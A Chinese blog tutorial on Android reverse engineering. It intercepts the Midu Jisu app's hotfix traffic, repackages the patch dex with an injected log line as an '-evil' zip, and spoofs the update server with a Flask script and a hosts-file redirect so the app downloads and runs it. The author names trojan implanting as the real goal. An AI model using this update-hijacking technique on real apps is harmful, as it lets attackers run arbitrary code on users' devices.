草庐IT

Android逆向分析实例(四)-米读极速版日志植入

国名老公阿航 2023-03-28 原文

准备:

1. 配置Fiddler抓包环境

2. 下载米读极速版(密码:d0r2)

3. Android手机/模拟器与电脑连同一个网络

1. Fiddler配置

首先去官网下载最新版的Fiddler;

下载完后傻瓜式安装就行了;

然后打开软件,先不要急着抓包,首先点击Tools -> Options

设置HTTPS选项;

设置Connections选项;

点击Actions第二项"Export Root Certificate to Desktop"生成证书;这时候桌面会生成"FiddlerRoot.cer"证书文件;确定后关闭Fiddler;

2. 模拟器配置

我这里用的是模拟器(MuMu模拟器64位),手机配置也差不多!

打开模拟器设置,点击WLAN -> 鼠标左键长按 -> 修改网络;

手动设置代理 -> 代理主机名(本机ip) -> 代理端口;

将刚刚生成FiddlerRoot.cer文件导入模拟器并安装(拷到模拟器的共享文件夹中);

至此抓包环境全部配置完毕;

3. 抓包

打开Fiddler,并在模拟器中启动米读极速版

在Fiddler中按 'Ctrl + F' 搜索 .zip后缀的文件(app客户端热更新时会向服务器发出请求,服务器会返回一个json格式的报文(json里标明了要下载的包的url以及版本等信息)供客户端下载);

双击查看服务器的响应报文;

将json数据格式化:

{
  "code": 0,
  "message": "成功",
  "showErr": 0,
  "currentTime": 1625142319,
  "data": {
    "data": [
      {
        "sid": 499,
        "pkgId": 505,
        "url": "https://apk.1sapp.com/miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip",
        "length": 2730,
        "name": "ReadvoiceFix66",
        "version": "66",
        "md5": "ec8ab28b08261fe73f7c08d0f8c7cae0"
      }
    ]
  }
}

在浏览器中输入url:https://apk.1sapp.com/miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip

会下载一个名为 'miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip' 的压缩包,这个压缩包里就包含着app打补丁或热更新所需要的classes.dex文件。

压缩包文件内容:

解压后将classes.dex文件用jadx打开;(下面会查看MethodPatchEntry类是否被加载到内存中)

验证该dex文件是否被加载,可以通过dex文件的类是否被加载到内存中来判断!(判断某个类是否被加载,为下文我们在该类的构造函数中插入日志输出语句做铺垫)。

4. Objection查看内存中加载的类

安装objection;

$ pip install objection

附:objection用法学习见:Frida进阶:内存漫游、hook anywhere、抓包

这里可以用Objection 来查看内存中是否加载了某个类(用frida也可以,但是相对要麻烦些,因为frida要编写脚本,并且加载的类很多,要想全部输出显示必须输出到文件中才好查找目标类)

首先在模拟器中开启frida,frida配置可以转到这篇文章:Frida框架配置

新建命令行窗口:

$ frida-ps -U  #查看所有进程

objection注入进程:

$ objection -g com.lechuan.mdwz explore

查看MethodPatchEntry类是否被加载:

$ android hooking search classes MethodPatchEntry

可以看到在内存中搜索到了这个类;

5. 修改classes.dex文件

首先用apktool将classes.dex文件反编译成smali文件,接下来修改MethodPatchEntry.smali文件,加入日志输出语句(尽量写在构造函数中,因为构造函数一定会被调用,而其它函数不一定);

修改完后重打包成classes.dex文件,将dex文件和MANIFEST.MF文件压缩,命名为'miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip'。

6. 将修改后的.zip文件提供给app执行

编写midu-server.py

from flask import Flask,jsonify
import time
app = Flask(__name__)

@app.route('/app/getHotFixV2/20')
 #当执行GET https//127.0.0.1/app/getHotFixV2/20 请求时会执行下面的request_server()函数(但是客户端发送的请求是 GET https://api-platform.1sapp.com/app/getHotFixV2/20,怎样在客户端发送这个请求时也执行下面的函数呢?这就要用到下文的hosts),并返回respon里的json数据给app。这里我们首先把刚刚修改的.zip文件上传到自己的服务器上,并将url地址改成我们自己服务器上的.zip文件地址,然后修改文件的length(字节大小)和md5值,最后加上本地的证书
def request_server():
    respon = {
        "code": 0,
        "message": "成功",
        "showErr": 0,
        "currentTime": 1625035561,
        "data": {
        "data": [
        {

            "sid": 499,
            "pkgId": 505,
            "url": "http://download.lxh2cwl.xyz/miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip",
            "length": 2797,
            "name": "ReadvoiceFix66",
            "version": "66",
            "md5": "11b5662257d99005054c05f5f242e826"
        }
        ]
        }
    }
    return jsonify(respon)

app.run('0.0.0.0',
        debug=True,
        port=443,
        ssl_context=('localhost/cert.pem', 'localhost/key.pem'))
 #本地证书

生成本地证书可以看这篇文章:cert.pem和key.pem文件生成,如果不想自己生成,也可以从这里下载:localhost.zip

flask学习可以跳转到这:https://www.w3cschool.cn/flask/flask_routing.html

生成文件的md5值:MD5.py

import hashlib
import os

def get_md5(file_path1):
  f = open(file_path,'rb')  
  md5_obj = hashlib.md5()
  while True:
    d = f.read(8096)
    if not d:
      break
    md5_obj.update(d)
  hash_code = md5_obj.hexdigest()
  f.close()
  md5 = str(hash_code).lower()
  return md5
 
 
if __name__ == "__main__":
  file_path = r'C:\Users\lxh\Desktop\米读极速版\miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip'
 #修改文件路径
  md5 = get_md5(file_path)
  print(md5)

进入到C:\Windows\System32\drivers\etc,修改本地的hosts文件:

这里我们需要将本地的ip与米读极速版的服务器域名 api-platform.1sapp.com 绑定,以便app客户端发出 GET https://api-platform.1sapp.com/app/getHotFixV2/20 请求时相当于 GET https://127.0.0.1/app/getHotFixV2/20,然后本地会返回一个修改后的json数据给客户端,客户端就会根据json中的url地址去我们自己的服务器上下载已经修改过的.zip压缩包。

拓展:

hosts文件的作用:就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。

域名与IP的关系

  1. 你要浏览网页需要在整个互联网上找到对方的电脑,那你就需要输入对方的IP才可以访问,比如大家可以在浏览器里输入这个IP地址【14.215.177.39】你们可以看看打开的是不是百度的首页。你靠着IP地址可以访问百度,你输入https://www.baidu.com也可以上百度,这是什么原理呢?
  2. 在早期的时候,上网就是这么麻烦,你想要访问对方的网站,你必须要知道对方的IP,然后在你的浏览器里输入IP地址,然后就可以访问了,但是IP地址是4组数字,记IP地址的难度不亚于背一个陌生人的手机号,于是乎,我们用一串英文字母来代替IP地址,这就是网站域名,比如百度的网站域名就是https://www.baidu.com,而百度的IP地址就是14.215.177.39,网站域名很好记,而且域名也可以自定义。
  3. 但是这里就有一个问题了,你输入的是域名,你的电脑该怎么将他变成IP地址呢?就比如你输入的是https://www.baidu.com,为什么你的电脑知道对方的IP是14.215.177.39呢?这个东西就是hosts文件,hosts文件就在你的C:\windows\system32\drivers\etc文件夹下,他相当于电脑的电话本,他记录着每一个域名对应的IP地址,当你输入域名而不是IP的时候,他就会在这个电话本里找到对应的域名,然后把他转化成IP地址。

DNS解析服务器

  1. 但是这样也有问题,那就是Hosts文件是有限的,就和你不可能拥有这个世界上所有人的电话号码一样。既然我们自己不可能拥有全世界所有人的电话号码,但是我们可以将收集电话号码这个任务交给一个专门来干这个活的人,然后大家想要问电话的时候去他那查一下就可以了。
  2. 这就是DNS服务器,DNS服务器有着相当全的域名和IP,当你输入一串网站的时候,这串网站并不会直接访问,而是先将这个网站发送给DNS服务器,DNS服务器帮你把这串网站变成了IP地址,然后返回给你的电脑。

什么是DNS劫持?

  1. DNS服务器会告诉你A网站的IP是A,B网站的IP是B,那假如你输入的A网站域名,但是他给你B的IP,你是不是就访问到别的网站去了?
  2. 既然DNS服务器可以这么玩,我们是不是可以将用户引导到我的网站上?比如你要看个电影,然后你输入了爱奇艺的官网,然后我作为DNS服务器,我把优酷的IP返回给你,最后就是你虽然输入的爱奇艺官网,但是却得到了优酷的IP并访问了优酷的IP,进入了优酷的网站上。

7. 最终步

这里有个坑:米聊极速版app只有在第一次启动时才会下载那个.zip文件(这一点当时困扰了我好久),所以我们首先得重新安装这个app。

  1. 新建cmd,准备日志输出
$ adb logcat > E:/midu.txt  #保存在E盘根目录下,文件名为midu.txt

2. 运行midu-server.py

$ python midu-server.py

3. 重新打开fidder

4. 启动米读极速版app

在日志输出窗户输入Ctrl + C停止日志抓取,然后在E盘根目录打开midu.txt文件,搜索'lvxinghang'

可以看到app成功输出了我们加入的日志!

输出日志对我们来说没有什么用处,真正有用的地方是利用这一点植入自己的木马code,然后获取app的一些信息,提权等,但这个自己目前还不会,后面还得继续学习~~

附:我们的dex文件会被下载到模拟器中的 /data/data/com.lechuan.mdwz/app_andpatch/b5e4499d54918452539abe20935a3ebe/comlechuanmdwz/ReadvoiceFix66_66 目录下

我的公众号

有关Android逆向分析实例(四)-米读极速版日志植入的更多相关文章

  1. ruby-on-rails - 如何使用 instance_variable_set 正确设置实例变量? - 2

    我正在查看instance_variable_set的文档并看到给出的示例代码是这样做的:obj.instance_variable_set(:@instnc_var,"valuefortheinstancevariable")然后允许您在类的任何实例方法中以@instnc_var的形式访问该变量。我想知道为什么在@instnc_var之前需要一个冒号:。冒号有什么作用? 最佳答案 我的第一直觉是告诉你不要使用instance_variable_set除非你真的知道你用它做什么。它本质上是一种元编程工具或绕过实例变量可见性的黑客攻击

  2. ruby 正则表达式 - 如何替换字符串中匹配项的第 n 个实例 - 2

    在我的应用程序中,我需要能够找到所有数字子字符串,然后扫描每个子字符串,找到第一个匹配范围(例如5到15之间)的子字符串,并将该实例替换为另一个字符串“X”。我的测试字符串s="1foo100bar10gee1"我的初始模式是1个或多个数字的任何字符串,例如,re=Regexp.new(/\d+/)matches=s.scan(re)给出["1","100","10","1"]如果我想用“X”替换第N个匹配项,并且只替换第N个匹配项,我该怎么做?例如,如果我想替换第三个匹配项“10”(匹配项[2]),我不能只说s[matches[2]]="X"因为它做了两次替换“1fooX0barXg

  3. ruby-on-rails - Rails - 从另一个模型中创建一个模型的实例 - 2

    我有一个正在构建的应用程序,我需要一个模型来创建另一个模型的实例。我希望每辆车都有4个轮胎。汽车模型classCar轮胎模型classTire但是,在make_tires内部有一个错误,如果我为Tire尝试它,则没有用于创建或新建的activerecord方法。当我检查轮胎时,它没有这些方法。我该如何补救?错误是这样的:未定义的方法'create'forActiveRecord::AttributeMethods::Serialization::Tire::Module我测试了两个环境:测试和开发,它们都因相同的错误而失败。 最佳答案

  4. ruby-on-rails - RSpec:避免使用允许接收的任何实例 - 2

    我正在处理旧代码的一部分。beforedoallow_any_instance_of(SportRateManager).toreceive(:create).and_return(true)endRubocop错误如下:Avoidstubbingusing'allow_any_instance_of'我读到了RuboCop::RSpec:AnyInstance我试着像下面那样改变它。由此beforedoallow_any_instance_of(SportRateManager).toreceive(:create).and_return(true)end对此:let(:sport_

  5. ruby-on-rails - 使用 ruby​​ 将多个实例变量转换为散列的更好方法? - 2

    我收到格式为的回复#我需要将其转换为哈希值(针对活跃商家)。目前我正在遍历变量并执行此操作:response.instance_variables.eachdo|r|my_hash.merge!(r.to_s.delete("@").intern=>response.instance_eval(r.to_s.delete("@")))end这有效,它将生成{:first="charlie",:last=>"kelly"},但它似乎有点hacky和不稳定。有更好的方法吗?编辑:我刚刚意识到我可以使用instance_variable_get作为该等式的第二部分,但这仍然是主要问题。

  6. 安卓apk修改(Android反编译apk) - 2

    最近因为项目需要,需要将Android手机系统自带的某个系统软件反编译并更改里面某个资源,并重新打包,签名生成新的自定义的apk,下面我来介绍一下我的实现过程。APK修改,分为以下几步:反编译解包,修改,重打包,修改签名等步骤。安卓apk修改准备工作1.系统配置好JavaJDK环境变量2.需要root权限的手机(针对系统自带apk,其他软件免root)3.Auto-Sign签名工具4.apktool工具安卓apk修改开始反编译本文拿Android系统里面的Settings.apk做demo,具体如何将apk获取出来在此就不过多介绍了,直接进入主题:按键win+R输入cmd,打开命令窗口,并将路

  7. ruby - 为什么当我调用类的实例方法时,初始化不显示为方法? - 2

    我正在写一篇关于在Ruby中几乎一切都是对象的博客文章,我试图通过以下示例来展示这一点:classCoolBeansattr_accessor:beansdefinitialize@bean=[]enddefcount_beans@beans.countendend所以从类中我们可以看出它有4个方法(当然,除非我错了):它可以在创建新实例时初始化一个默认的空bean数组它可以计算它有多少个bean它可以读取它有多少个bean(通过attr_accessor)它可以向空数组写入(或添加)更多bean(也通过attr_accessor)但是,当我询问类本身它有哪些实例方法时,我没有看到默认

  8. ruby - 在 Ruby 中,在类方法的上下文中,什么是实例变量和类变量? - 2

    如果我有以下一段Ruby代码:classBlahdefself.bleh@blih="Hello"@@bloh="World"endend@blih和@@bloh到底是什么?@blih是Blah类中的一个实例变量,@@bloh是Blah类中的一个类变量,对吗?这是否意味着@@bloh是Blah的类Class中的一个变量? 最佳答案 人们似乎忽略了该方法是类方法。@blih将是常量Bleh的类Class实例的实例变量。因此:irb(main):001:0>classBlehirb(main):002:1>defself.blehirb

  9. ruby - 从外部访问类的实例变量 - 2

    我理解(我认为)Ruby中类变量和类的实例变量之间的区别。我想知道如何从该类外部访问该类的实例变量。从内部(即在类方法中而不是实例方法中),它可以直接访问,但是从外部,有没有办法做MyClass.class.[@$#]variablename?我没有任何具体原因要这样做,只是学习Ruby并想知道是否可行。 最佳答案 classMyClass@my_class_instance_var="foo"class上述yield:>>foo我相信Arkku演示了如何从类外部访问类变量(@@),而不是类实例变量(@)。我从这篇文章中提取了上述内

  10. ruby - 为什么不能使用类IO的实例方法noecho? - 2

    print"Enteryourpassword:"pass=STDIN.noecho(&:gets)puts"Yourpasswordis#{pass}!"输出:Enteryourpassword:input.rb:2:in`':undefinedmethod`noecho'for#>(NoMethodError) 最佳答案 一开始require'io/console'后来的Ruby1.9.3 关于ruby-为什么不能使用类IO的实例方法noecho?,我们在StackOverflow上

随机推荐